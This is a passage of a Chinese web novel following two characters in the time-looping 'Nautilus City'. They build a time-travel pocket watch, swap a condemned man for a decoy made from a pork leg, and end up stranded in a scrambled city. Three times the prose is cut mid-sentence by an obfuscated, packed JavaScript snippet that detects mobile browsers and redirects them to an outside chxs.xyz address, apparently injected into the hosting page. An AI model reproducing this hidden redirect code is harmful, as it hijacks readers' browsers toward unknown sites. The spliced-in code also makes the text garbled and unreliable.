“煎饼果子。”李开心说话的工夫,言笑已经一大口咬下去,酱香四溢,大脑里轰地爆炸。菜叶是新鲜的、带着水汽的,有个不知道是什么的小东西微微辣、脆脆的,香肠气味丰厚浓郁,中间还夹着个一咬咔嚓咔嚓的薄薄脆饼。 “加了辣萝卜和香肠。大早上吃太辣刺激肠胃,辣萝卜就没有加很多。” 就为这么一口煎饼,言笑甚至萌生出在鹦鹉螺城待个生生世世的想法。等言笑吃完抹嘴,李开心终于递来一个糟心问题,“秦笙在回到一年前之后,又跳跃到了谭述出事的前一天。” 言笑打了个嗝,“这说明谭述的死已经发生了。秦笙想改变过去。” 李开心凝重道:“秦笙是带着记忆回去的,所以谭述死在牢狱里是既定事实,无法改变。” 言笑倒不在乎谭述,就是不想看见秦笙难受,凑过去巴巴问他,“那怎么办?你肯定有办法的,对吧?” 言笑早看出来,李开心无论做什么都运筹帷幄,加之早已在泡泡宇宙混迹多年,绝对是深藏不露的大腿。 李开心没答,讳莫如深。 谭述的死亡发生在一个月后,现在再着急也没用,靠变卖耳钉活不了几天,两人决定出去找工作。舞厅有秦笙在,言笑决定在泡泡秦笙面前当个隐藏人物;当铺电影院餐厅旅馆不需要人,只让老板管饭也算为难他们;当街卖艺表演取物也有难度,言笑压根不会画画。 午间太阳毒辣,言笑抹了把汗,仰头看着上了年头的钟表铺招牌,问李开心,“这么小一家店,应该不需要帮工吧。” 李开心率先迈步进去,“不看看怎么知道。” 说是钟表铺,其实也是一间旧货铺子,木雕摆件、青花瓷瓶、生锈铁盒、木琴、旧书,各类旧货把铺子塞得满满当当,阳光挤进来都很费劲。李开心来到柜台前,问老板是否需要招工。 须发尽白的老者颤颤巍巍抬起头。他手里拿着单片眼镜,刚才正在修一只怀表,闻言,用抽多了烟的嗓子哑声道:“正有个活计需要人。小伙子,你去把招贴画上的花盆搬下来。” 那花盆有言笑怀抱大,里头种着半人高的茂盛富贵竹。李开心干脆利落挽起袖子,略屈膝盖蓄力,画中翠绿剧烈摇晃,言笑脚边甚至落了点土。 “够了,就你了。”老者摆摆手,显然不是真想要这盆富贵竹。“这个怀表还差最后一根指针,我安不好。给你一个月时间,把怀表做成客人要求的样子。” 言笑与李开心看着老者手里的怀表,面面相觑。 老者递来一张边缘早已起了毛剌的便笺纸,上面潦草写着些字,是钟表铺的地址以及一个词:时间重置。 “第8弯的玫瑰小姐一个月后会来取货。” 钟表铺有个堆杂物的小隔间,老板答应让言笑住着,铺里有行军床,李开心晚上可以在过道支床。等老板蹒跚着出门晒太阳,言笑才勉强压着声音惊呼,“这张便笺纸我在秦笙的休息室见过!所以其实是秦笙被怀表送回一年前之后,她才想通为什么一年前自己会收到一张莫名其妙、并且和自己字迹很像的便笺,于是她写了便笺提醒一年前的自己,要来钟表铺造一枚可以穿越时间的怀表。是我们的出现促成了这一切!” 李开心拿起怀表仔细端详,“确实是这样,但我们什么也改变不了。” 言笑立刻泄气。正如李开心之前所说,秦笙拿到经过钟表铺老板改造的怀表并穿越时间是确定事件,如果现在李开心撂挑子不干,直接让秦笙的造怀表计划折戟,那么造成的后果难以估计。 接下来的一个月里,言笑直接躺平进入度假状态——反正急也没用,那还急什么急,再说李开心那么老神在在,他心里没谱才有鬼。时间重置之后,李开心的金骰子又回来了,言笑变卖骰子,每天在城里当街溜子,什么好吃的都往嘴里招呼。 “牛肉!这是我头一次吃到天然牛肉!脆嫩鲜滑,朝天椒爆炒又香又辣! “海胆这么完美的食材,为什么有壳还有刺?没有壳没有刺我一天就能吃一筐。” “这个神仙水果叫什么来着,呜呜呜太好吃了……” 李开心看着擦眼泪的言笑,将培土的铲子插进花盆,叹气道:“草莓。” 李开心刚在钟表铺门口的铁树盆里埋下一颗骰子,据他说是用来给这个泡泡定位的——每颗骰子都在现实世界有另外一颗一模一样的凑成一对,二者震动频率相同,泡泡的入口位置和进入速度会改变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926415|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,利用骰子定位可以重回之前进入过的泡泡。言笑见过李开心口袋里那一把骰子,新的旧的蓝的,不一而足。对此言笑只点评道:“以后多带几个金的,用得上。” 李开心说:“金的作为货币会被分割,其实最没用。” 匕首也重新回到李开心手里。李开心将匕首交给言笑,还给她改了靴子,在靴筒上增加绑带,方便携带匕首,“只要你不耍杂技,匕首就不会掉。不是合成材料,这是牛皮做的……哎哎哎,这个不能吃。21弯的零食店里有牛肉干,你想吃干一点的可以吃那种。” 言笑没有到处找吃找喝的时候,就在钟表铺磨咖啡豆。最近言笑十分沉迷这个游戏,毕竟在现实世界里咖啡树早就灭绝了。李开心则天天翻旧书,逛图书馆,寻找有关实验数据的线索。 咖啡粉飞得言笑鼻子痒痒,言笑揉揉鼻子,“找到数据的话,加钱吗?” 李开心道:“不加。” 言笑继续埋头磨咖啡豆,“那我才不找。” 李开心放任言笑摆烂,仔细查看犄角旮旯里翻出来的破旧卷轴,“找数据是我的任务,不是你的任务。” “哎,”闲着也是闲着,言笑手上动作没停,八卦打听道:“那是什么实验数据,跟我说说呗?万一你没看见我看见了呢?” 李开心略一停顿,“是一种超级武器的数据,代号‘玄武’。” 言笑简单粗暴总结道:“懂了。我们在找一只王八。” 更多时候李开心在研究如何改造怀表,并且给怀表装上指针。“初阶造物需要专注,中阶需要意志坚定,而高阶——需要强大的执念。”钟表铺老板吐出一口烟圈,在影影绰绰里如是说。“我老了,寿数将近,再看不开的事情也都看开了。执念没了,自然做不好。” 言笑也终于从钟表铺老板那里听说了秦笙来钟表铺时发生的事。那天下雨,秦笙打着一把红伞,黑纱遮着素净的脸——毕竟在鹦鹉螺城里,玫瑰小姐是数一数二的名人。她似乎有些犹豫不解,又或者觉得自己的请求十分荒唐,便笺纸在手里攥了又攥,才递给钟表铺老板。 钟表铺老板告诉她说,功能如此强大的表是无法凭空做出的,除非有什么有力量的老物件作为依托。 于是秦笙又来了第二次,拿来家中相传数代的黄铜怀表。 说这话时钟表铺老板正在教言笑修理一盏铜灯。铜灯侧壁光滑,钟表铺老板引导言笑将侧壁打磨光亮,言笑探头过去,竟能从中看到清晰倒影。 钟表铺老板悠悠道:“这铜灯的四面侧壁,本就是镜子。鹦鹉螺城忌讳镜子,殊不知镜子代表审视自己。” 言笑被自己的精湛手艺极大地鼓舞自信,转身就去李开心那儿要试试装指针,不出五分钟,又灰溜溜地回来了。 钟表铺老板早知会是这样,摇着扇子笑道:“你没有想回到过去、改变一些事情的执念,当然做不成。” 言笑不服气,扭头瞪李开心,“我没有,他就有吗?” “他有。”钟表铺老板说得缓慢而坚定,“我感觉得到。总有一天,他会做成这只怀表。” 言笑嘟嘟囔囔,又去柜子里翻东西玩儿了。翻找一阵,突然举起什么,头发冒烟地问钟表铺老板,“老板,这个东西是哪儿来的?” 钟表铺老板眯起眼睛,又将镜片举到眼前,看了又看,总算抓住模糊影子,“拇指琴,是很久以前一个外乡人做的……真的是很久以前了,那时候我刚接掌这间铺子,还很年轻。” 言笑心里莫名涌出一种异样感应,追问道:“您还记得他的名字吗?” “当然记得。那是个非常英俊的小伙子,”钟表铺老板在摇椅里摇晃着,半阖着眼,阳光挤进玻璃窗,回忆在描述中具象,“即使当年城里有许多男歌星人气火爆,惹得无数少女追捧,要我说啊,那些男歌星的长相也没有一个比得过他。只是从前我觉得他眉眼里有些情绪,当时年轻,还看不懂,后来长大了,老了,才终于想明白,那可能是一种藏得很深的忧郁。 “他的名字叫——花方。” 8. 鹦鹉螺城05 在鹦鹉螺城上班摸鱼显然不如从前在数据仓库摸鱼那么多姿多彩。没有游戏可玩,言笑只能看小人书,看得打瞌睡,又被小人书里弹到脑门上的小橡皮球惊醒。 李开心正在拿一部旧手机玩贪吃蛇——“手机”这个词确实很古老了,言笑甚至怀疑这部手机来自21世纪初期,黑白屏幕,信号格永远为空。言笑眼看越来越长的蛇在狭小屏幕中以极快的速度穿梭、游移,最后因为再无空间施展,一头撞在墙上,游戏结束。 言笑打了个哈欠,“每次玩到最后都这样,不如玩坦克大战。” 李开心收起手机,“不是所有事情都有解,很多事情到了最后就是会没有出路。” 清脆风铃声叮当自门口传来,随之而来的还有高跟鞋落地的笃笃声,以及若有似无、带着一点冰凉的玫瑰香气。钟表铺老板招呼道:“玫瑰小姐,您来啦?” 秦笙点头致意,“老板,请问我的怀表做好了吗?” 没等钟表铺老板回答,角落壁橱的柜门砰地合上。秦笙与钟表铺老板皆是一惊,却没在诸多置物架的遮挡之下见到什么异样,遂又收回视线。 在看到秦笙出现的0.01秒内,言笑当机立断,抓起李开心的衣服领子,带他一头扎进壁橱躲了起来。壁橱里本就塞满各种灰尘冒烟的旧货,现在两个大活人挨着挤着,言笑连落脚的地儿都没有,只能踮着脚尖悬浮在一本旧书上。言笑低头一看,《高效养猪》。 可即使如此,言笑平视过去也只能看到李开心的喉结,明显凸起的脆弱软骨组织,仿佛轻轻一捏就能捏碎,亚当的苹果,邪恶又勾人。言笑闻到李开心身体的味道,没有香水或衣服洗剂或任何其他味道的浸染,就是纯粹的□□气息,莫名好闻。 言笑想起了秦笙那幅立体画。 李开心任由言笑冒冒失失把他塞进旧货堆里,等到关好柜门,光线昏暗,才好整以暇道:“其实不用藏的。我们从来没有认识过她,不会形成悖论。” 言笑这时也反应过来了,但是动作比脑子快,现在出去也不合适,只得郁闷地小声嘀咕,“……那你不早说?” 李开心显然反应迟钝,没有体会到难堪,“现在要出去么?” 言笑咽咽口水,“算了。”青天白日的,从壁橱里掉出来俩人也太奇怪了。言笑尴尬得脚趾抠书,没话找话,“我最近好像想起来一些事情。” 壁橱外,钟表铺老板回答秦笙,“暂时还没有。但在咱们的约定日期前把它交给您,应该是没问题的。” 李开心竖耳听着壁橱外那二人对话,也没忘记回答言笑,“什么事情?” “不知道。”言笑困惑地甩甩脑袋。成宿成宿的乱梦太多,以至于言笑在梦中时都觉得这一切真实发生过,高耸入云的摩天大楼,飞速上升几乎进入云端的电梯,玻璃门打开,谈判桌前的无数双眼睛让言笑如芒在背。 言笑犹豫片刻,小声试探,“我失忆过吗?” 言笑一直有种不祥的预感,或许李开心比她自己还要了解她,倘若她真的是实验室里的小白鼠,那么有些困惑只有研究员能够解答。 李开心没答,反而问她,“能讲讲你小时候的事吗?” 言笑被无聊到了,也知道李开心这是故意扯开话题,心下郁闷,耷拉着眉毛道:“小孩的事不也就那些事么,没什么有意思的。” 战争过后各类娱乐衰落,沉浸式游戏也是近年才兴起的,言笑小时候可玩的东西乏善可陈,一天天过得毫无新意。 李开心如同早就预料到对方这一回答,“发现了么?这就是大脑在填补记忆缺陷。” 言笑张口结舌。 直到李开心说穿言笑才忽然发现,倘若谈及幼时过往,她能说的无非就是“没什么好说的”、“没什么好玩的”,可若深究起来、深究到底幼时有什么具体记忆,言笑发现她竟答不上来——或许并不是完全答不上来,但一切记忆仿佛隔着一层幕布,模糊而抽象,以至于言笑一时无法区分这究竟是记忆还是老旧电影。 言笑瞬间连脚尖都冷了下来。 李开心没再说话,静静等待言笑消化这一信息。 俄而,言笑问他,“我们以前认识么?” 言笑明确知道倘若她的记忆没错,她在闯入田斯斯家之前从未见过李开心,可问题就在于,万一她的记忆有错呢?也不知是后知后觉还是心理暗示,言笑似乎忽然察觉李开心身上有种熟悉感,他的下颌他的鼻梁还有他浅灰色的眼睛,像是照着她的梦境描摹出来一样。 李开心垂下睫毛,低声道:“你捅过我一刀。” 言笑满头问号,“你确定是我?”李开心长得就是一副她打不过的样子,言笑自认没那么有种对他暴力相向,再说要是真捅过他,李开心的情绪也太稳定了? 钟表铺老板与秦笙闲聊几句,秦笙翩然离开,风铃响动,带走一缕幽微花香。壁橱不堪重负,言笑和李开心立刻从中掉了出来,一本小书差点砸到言笑的脑袋,被李开心眼疾手快地接住。 李开心翻了翻书,蹙起眉头。 言笑拍拍抖落在头顶的灰,“怎么了?” 李开心沉声道:“是玄武数据。” 言笑立刻眼睛一亮,夺过小书,看过几眼又扔开了——书里全是晦涩难懂的语句以及看似毫无逻辑的数字和图示。言笑看得头大,问李开心,“你不是说泡泡里的东西带不出去么?那找到数据后要怎么办?” 李开心迅速翻页,转眼已经翻过四五页,“不一定完全带不出去,我说的是‘基本’带不出去。这本书我不觉得我能把它带出去,所以我会把它——背下来。” 言笑,“?” 这是什么小众文字? 李开心安装指针的工作一直拖到交付日期的前一天才完成。尽管见见这个泡泡秦笙也无所谓,但言笑偏就有点胆怯,只花了一个铜币让舞厅门口玩耍的小孩把怀表送进舞厅。 转眼到了谭述出事的前一天。 这段时日二人早把谭述秦笙的日常作息摸个清楚:谭述隔日在礼堂讲课,闲暇时间写书看书,秦笙晚上有表演就去看她表演,言笑只观察他一天就无聊得打哈欠。秦笙表演日期不固定,兴致来了可以连续出场半个月,舞厅的招贴板上会写明秦笙哪些日子出场,而且在秦笙出场的晚上,舞厅门口会放一束玫瑰。 言笑摩拳擦掌,问李开心,“说吧,你的计划是什么?” 李开心招手示意言笑跟上,两人到礼堂外面蹲点。下午,秦笙应该在舞厅彩排和选演出服——又或者说,原本时间线上的秦笙。 但言笑知道李开心在等谁。 他在等穿越而来的秦笙,那个目睹谭述死去、回到一年前提示自己制作怀表、然后来到这一天只为阻止谭述死亡的秦笙。 言笑手搭凉棚蹲在灌木丛里,一拍大腿,打死一只蚊子,“我们就这么等着?如果秦笙把谭述带走,那不就造成时间悖论了么?” 李开心道:“放心。我们还有机会修正这一切。” 说话间,秦笙在街口匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926416|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆出现。言笑难得见泡泡秦笙没有化妆,素净面皮也挡不住五官自带的勾魂美艳,可言笑知道她并不希望被人认出这张漂亮的脸,宽檐太阳帽几乎完完全全将她的容貌笼罩在阴影之中。她就像个冒名顶替的窃贼,试图偷走对她最重要的东西。 秦笙提着裙摆跑上楼梯,急切地在礼堂大门上敲了三下。 言笑念念叨叨,跟李开心八卦闲磕牙,“真的,秦笙穿长裙卷头发的样子在我眼里就是电影里的在逃公主。我从前一直琢磨,秦笙会找个什么样的男人,虽说泡泡里的事情做不得数,但是这个谭述也还行吧。说来奇怪,虽然秦笙出生在下城区,但她老是给我一种娇生惯养、一辈子没吃过苦的感觉。” 礼堂的门打开。李开心从兜里掏出一个什么东西。 言笑推推李开心,“咱俩这也离太远了,听不见他们说话啊!” 李开心一挥手,掌心里的东西飞了出去,一阵嘶啦嘶啦的电流声后,秦笙的声音传来。 “我们私奔吧。我们离开这里。” 言笑瞠目结舌,“这么劲爆?”说完立刻捂嘴。 李开心知道她在担心什么。“没事。他们听不见。” 言笑这才松了口气,继续看戏。 谭述显然没预料到这剧情,以至于必须重复一遍来确认自己没有听错,“私奔?” 秦笙又上一级台阶,昂起下巴,几乎与谭述脸贴着脸,急迫道:“你不是喜欢我吗?我也喜欢你。我在十六岁时就画了你的画像放在枕头底下。所以你要不要跟我走?” 言笑赞叹道:“厉害啊!” 要按言笑预想,谭述应该立刻牵起秦笙的手,两人边跑边唱美声——就像古老音乐剧里那样。可谭述在这一刻竟然迟疑了,“离开这里?我的信仰、我的工作和我的学生要怎么办?这些都是我背负的责任。” “你没有责任!”秦笙反驳道:“不要管那些。我们为什么不能自私,我们为什么不能自由?” 言笑尬得搓脸,“之前舞厅里的吃瓜群众说对了,我们都是他俩play的一环。” 如此有理有据,谭述终于还是被秦笙说服,两人手牵着手向城外跑去,与言笑的想像只差一段美声。 李开心立刻跟了上去。言笑蹲久了腿麻,跑得呜呼哀哉,“秦笙穿个铡刀也跑那么快吗?” 秦笙和谭述一口气从610弯中间位置跑到987弯最末端,中间歇也没歇,背后有狼撵一样,令言笑一度怀疑鹦鹉螺城的人都靠电池供电。知道言笑跑不动,李开心一路提麻袋似的提着言笑后衣领子,最夸张的时候言笑甚至差点双脚悬空,在这一刻言笑终于明白躺平让大腿带飞也不是那么舒服。 鹦鹉螺城的大门越来越近,秦笙跑得双脚流血,却从未停下,像在奔向自由。谭述摘下他的白手套,与秦笙扣紧十指。 985号,986号,987号,在逃公主与她的王子一路狂奔,终于跨越城门。 眼前出现一片黑沉如焦土的建筑。 是城主的住处。 987弯之外没有道路,他们回到了第2弯。言笑突然想到,在鹦鹉螺城的这一个月来,她从未听过原住民提起外面的世界,就好像鹦鹉螺城就是全世界。 鹦鹉螺城出不去。没有任何人有过离开的想法,也没有任何人能从这座城里逃脱。 李开心终于看够了戏,俯身拾起两颗石子,冲着秦笙与谭述的后脑重重掷过去。风声呼啸,两人应声而倒。 言笑目瞪口呆。 9. 鹦鹉螺城06 李开心上前,一左一右把秦笙和谭述扛在两边肩膀上,见言笑愣着,道:“987弯962号的猪肉铺子,我今天订了一条猪腿,现在过去,屠宰室应该空着。” 饶是言笑自认心理素质不错,此时也不得不佩服李开心身上这种平静的疯感,“都什么时候了,你胃口真好。” 李开心也没解释,扛人就走。言笑快步跟上,“既然要给他们打晕,何必咱俩在那儿看了半天戏?” “你不是看得挺起劲儿么?” 有理有据,使人信服。 很快到达屠宰室,李开心腰都没弯,右手一松,先把谭述扔地上。眼看要扔秦笙,言笑压着嗓子胆战心惊道:“轻点,轻点!” 李开心看了言笑一眼,俯身将秦笙轻轻放下。 猪腿瘫在案板上。李开心走过去,一只手攥住蹄子,闭上眼睛,屏息凝神。尽管已经在鹦鹉螺城待了一个月,可当言笑看见猪腿在李开心的意识操控下渐渐泛出带着颗粒感的光,还是忍不住惊异不已。 鹦鹉螺城里,言笑从没见过其他人不以实物为依托改造事物,既然拿晚霞织毛衣就能换金子,言笑不敢想倘若李开心在此常住以后得多有钱。猪肉慢慢变成丰盈纤长的一块,肌理膨胀、拉长,颜色也变得柔和,血丝化作血管。 言笑看出来了。 它在化作人形。 人形愈发清晰,变做高大身体,只是皮肤依旧模糊得像被硫酸浸泡过,甚至分不出正面背面。李开心向地上两人瞄了一眼,微微皱眉,“过来帮忙。” 言笑立刻反应过来,不用李开心过多解释,将手搭上人形的身体,与李开心一同改造。李开心瞧见言笑好奇打量,令道:“闭上眼睛。” “闭眼睛干什么?”言笑瞪他,“你看他皮肤现在有点透明,能看见血液流动,多好玩。” “小姑娘看了长针眼。” “这有什么好长针眼的?” “现在可以看,等会儿就不能看了。” “心脏看什么都脏。” 李开心没辙,只得先从角落袋子里拿出一套衣服给人形穿上。两人同时闭眼,变形继续。俄而秦笙醒转,先是晕晕乎乎打量到把她和谭述敲晕的劫匪,继而看见案板上了无生气的男人,顿时花容失色,惊声尖叫,“你们在干什么!” 意识改造十分费神,言笑头疼,示意秦笙别吵,“你家那个在你身后。” 秦笙这才迟钝地转身回望,迷茫几秒,分不清孰真孰假,遂问言笑,“你们是谁?” 案板上的谭述面目苍白,了无生气,好在现在并不需要它有生气,生气的问题等会儿再说。言笑收回人形谭述身上的手,“你已经看到谭述死了,再回到这一天来救他不会有结果。要么时间线重置,要么你们两个被时间线擦除。” 秦笙万没想到眼前这人竟然知道她不是当前时间线的秦笙,怔了一怔,“你们是来阻止我的?” 言笑打了个哈欠,向人形谭述探探下巴,“阻止你还需要费这么大劲儿?我们是来加入你的。 “谭述的死亡已经被你目睹,是既定结局,无法更改。现在唯一能救下他的办法就是——更改原本时间线上的非重点剧情,偷天换日。今晚我们就让这个假人去舞厅看你表演,然后让它被捉拿、让它替死。这样在时间线看来,一切就都没有改变,自然不会造成严重后果——而你们两个,可以去任何你们想去的地方。” 当言笑看见李开心用猪腿变人,言笑就已了然他的计谋。他们正在撒一个弥天大谎。 他们要悄悄骗过时间。 出乎言笑意料,秦笙几乎立刻明白并且接受了这个计划,“那今晚我们两个也一起去舞厅吧,别出岔子。” 言笑赶忙摆手,“别了。你俩在鹦鹉螺城无人不知,你俩就是最大的岔子。” “我们可以在舞厅外面等。”地上传来一个声音。敢情谭述醒了有一会儿了,奈何李开心下手太重,谭述醒了却没能起来,这才继续躺倒。 人形谭述无法自主动作,毕竟要是让他产生自我意识麻烦更大,言笑只好和李开心乔装打扮,拎提线木偶似的将人形谭述一路操控着。临走之前秦笙从谭述裤兜里掏出他那双白手套,给人形谭述带上。摘了手套的谭述明显局促,秦笙只好握住他的手。 转眼入夜。 言笑虽然贫苦,但架不住秦笙有钱,这次言笑进舞厅明显硬气了,塞给门童一个银币让他打门帘。按照原本的剧情发展,谭述应该比正确时间线上的言笑和李开心早到舞厅,于是几人早早出发,人形谭述被李开心的意识捏着走在最前面。 言笑与李开心在角落落座。言笑鬼鬼祟祟,把脸上的黑纱裹得更紧了些——这面纱是跟秦笙借的,以至于刚才上酒时言笑还被服务生误认为秦笙。没过多久,“言笑”和“李开心”来了,言笑瞄瞄自个儿的后脑勺,点评道:“这个角度看起来我脑袋不够圆啊。” 李开心抬了抬脸上的墨镜,“不要容貌焦虑。” 三个穿着制服的女学生推推搡搡,面带羞色,书在怀里捂了半天,好不容易鼓起勇气扎到人形谭述跟前求签名。人形谭述接过女学生递来的笔,抬起手腕—— 啪嗒一声。笔掉到了地上。 言笑捂脸,“你能让他写出字么?” 李开心蹙着眉心,一瞬不瞬,“应该可以。” 运笔缓慢,但好赖能写出字来,人形谭述总算签完了名,女学生们小鸟似的兴奋地哗啦啦跑走。“秦笙”上台,掌声雷动,人形谭述微笑看向台上,优雅地小幅度鼓掌。 这优雅是被迫优雅,毕竟意识操纵太难,李开心很难控制人形谭述做出精细动作。 言笑建议道:“动作自然点儿,或者让他说说话?” 人形谭述动作一停,忽然咧嘴笑了,眉飞色舞,大声赞叹道:“唱得好啊!” …… 言笑没眼看了。再想到之前在舞厅看到的谭述好像就和这德性差不多,言笑头疼地按按太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926417|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穴,“我现在甚至有种错觉,就是咱俩已经在这里循环好几遍了。虽然我不了解真正的谭述应该什么样,但这像是真人干出来的事吗?” “言笑”得知拔西瓜可以酒水免单,跟着服务生去拔西瓜。言笑东张西望,没看见附近有服务生,顺手把桌子上的假向日葵揪过来,熟练地咔嚓咔嚓嗑起瓜子。 俄而,大戏来了——士兵鱼贯入内,带走人形谭述。 言笑登时兴奋,蹦着高儿从卡座跳起来,又欲盖弥彰地躲在卡座后面,猴急等着“言笑”和“李开心”率先出门。 “秦笙”虽被士兵阻拦,却也一路尽力跟在靠近人形谭述的地方。吃瓜群众三三两两尾随,毕竟这场大戏的当事人是鹦鹉螺城里有头有脸的两位名人。言笑和李开心混在吃瓜群众队伍里,秦笙和谭述则在他们身后稍远处,脸被口罩捂得严严实实,帽子几乎遮住眼睛。 言笑小声安排计划,“咱们最多走到第3弯的尾巴就得停下。再往里走士兵就要拦人了,街道越来越短,可不能让前面那俩看见咱俩,前面那俩又不缺心眼。第3弯尾巴那儿有一片园子,咱们就在那儿等着,你把你那个窃听的小机器人放出去,等确认假谭述死了咱们就撤。” 李开心比了个“OK”的手势。 言笑又往后瞅瞅,惊讶发现秦笙和谭述跟得还挺紧。言笑给秦笙一个“稳了”的眼神,示意她放心。 变数发生在一瞬之间。言笑只恍惚觉得前方另一个自己好像不按剧本来地回了回头。 周围有议论,有吵闹,有婴儿哭叫,有鹦鹉啼鸣,眼前一切晃动得既轻微又剧烈,喧嚷刹那归于平静。言笑站在第5弯的中段,城主的巍峨堡垒如同直通天际,鹦鹉螺城还是鹦鹉螺城,结构却混乱得像是原本铺在桌布上的城池被抖落掀翻。拆解到一半的生猪悬挂在高处,钟表铺的风铃叮当作响,舞厅的彩色碎屑撒了言笑满头,红酒从铁质围栏顶端蜿蜒流下。钻石折射,万花筒爆炸,花叶折叠扭曲,尘埃里生出俗世。言笑看得眼花,感觉自己好像站在克莱因瓶里,脚下的路旋转延伸,仿佛扭成莫比乌斯环的形状。 秒针一秒一秒地走,言笑认识那声音,钟表铺里的古老石英钟就能发出这种走表声,这是现下这个世界里唯一清晰甚至过于清晰的响动。 秦笙和谭述匆匆向前,追上言笑与李开心,“发生了什么事?” 其他人都消失了,鹦鹉螺城里只余下他们四个——又或者说,这个混乱的“鹦鹉螺城”里,只有他们四个。 李开心抛掷着手里的石子。刚才跟踪士兵押解人形谭述,为防有变,李开心在手里攥了两块石头。“之前我好像察觉到会发生什么,出于本能,或许是想提醒自己——我拿石头往墙上画了一条线。” 言笑向墙上看去,喃喃道:“一条?” 李开心确定道:“一条。” 用于计数,一条足矣。 然而在城主堡垒之外的石壁上,言笑看见密密麻麻无数条石子划出的线。 10. 鹦鹉螺城07 李开心说:“我们一定看到过一些什么,或者忘记过一些什么。” 这还不是最糟糕的。 最糟糕的是,他们已经看到、或者忘记了这些东西无数次,所以墙上才会满是划痕。 四人同时陷入沉默。言笑左看看右看看,清清喉咙打破寂静,安慰众人道:“没关系的,走一步看一步嘛。” “就是。”秦笙仰头张望道:“虽然这里看起来乱了点儿,但是有吃有喝,咱们又饿不死,一定能想办法出去。” 谭述跟随秦笙的视线一齐仰视,看见了吊在铁链上的整扇猪肉。猪肉旁边摆着一个不锈钢大盆,里面盛着已经凝固的猪血。 李开心走近堡垒,仔细盯着石壁,偶尔伸手比划,面色凝重。谭述问他,“你在看什么?” 石壁上有个模糊印记,圆环形状,右侧稍扁,像是被手捏了一下。环上仿佛有什么图案,但看不清细节。 李开心说:“角度。” 谭述立刻懂了。“你觉得这是有人留下来的?” 既然意识可以化作实体,那么这个莫名出现的圆环或许正是意识印记,只是留下圆环的人没有站在石壁的正前方,而是从侧面将其烙下。李开心比对圆环左右两侧的细微差别,伸手指向对应的延长方向。 “我觉得——这是我留下来的。” 日子还是要过下去,四人开始了混乱且忙碌的自力更生。鹦鹉螺城里不但没有其他活人,也没留下什么活物——除了言笑在茶楼地下的猪圈里发现的几只猪仔。 李开心拿着剁骨砍刀,咔嚓咔嚓劈下来四肢猪蹄,扔进大锅里,头也没回跟言笑说:“烤乳猪就得这么大的时候吃,再晚几天就没有现在鲜嫩了。” 言笑怀里的猪仔惊恐地疯狂扭动起来。言笑把猪仔放到地上,过去帮秦笙添柴,“咱们还有这么多肉呢,这边冷冻保鲜技术不行,先凑合吃吧,别浪费。” 猪仔一溜烟跑远,到门口被谭述一弯腰拎起后颈皮。现在他们都住在秦笙家里。秦笙的宅子原本在第34弯,现在鹦鹉螺城一片混乱,宅子歪歪扭扭斜在洗浴中心房梁上,而谭述不回家是因为——他家被压在舞厅底下。 谭述顺手把猪仔放在铁架秋千上摇晃,猪仔腿短,下不来,嗷嗷叫唤。“整座城里剩下的食物有限,除了这几头猪没见到肉类,也没见到水产,而且也没有新鲜水果蔬菜——方便食物倒是有一些。” 谭述将手中拎着的两个大袋子放到地上。言笑歪头去看,“怎么都是饼干……哦还有面条。那几个小包是什么?” “是种子。”谭述道:“咱们不知道还要多久才能出去,如果一直没有果蔬摄入,身体会出问题。蔬菜园子里虽然没有蔬菜,但贮藏室有很多种子,我就拿了些种子回来。” 言笑在袋子里翻翻捡捡,“都是什么种子?” 谭述回答,“你拿的那个是萝卜。” 言笑把萝卜种子扔到一边,“我不爱吃萝卜。有没有白菜……等等,有没有草莓种子!” 谭述愣了愣,“应该有吧,那我再去找找。” 言笑从小凳子上跳了起来,“算了,你来添柴火吧,我自己去找。你那手套要是再弄脏一点,我都怕你自我了断。” 言笑刚要跑走,李开心放下手中砍刀。“我和你一起去。” “不用。”言笑道:“你在这儿炖猪蹄就行。” 秦笙往锅里撒了一把香料,帮腔道:“你还是让他跟你一起吧。现在就剩咱们四个,也不知道城里有没有什么危险的东西,你一个女孩子不安全。” 言笑只好勉为其难带上李开心。 草莓种子在蔬菜园贮藏室的犄角旮旯,还真让言笑给翻出来了。在现实世界里言笑几乎没见过可用于培育植物的土壤——绝大多数土壤都在第三次世界大战中被污染了——言笑遂提议去图书馆扎一头,“看看有没有关于植物培育的书,我怕我种不好。” “不用。”李开心说:“我会种。” “真的?”言笑狐疑道:“草莓种子可就这么一小包,你别给我种坏了。” “不会。”李开心很笃定,“走吧。天快黑了,咱们先回去。” 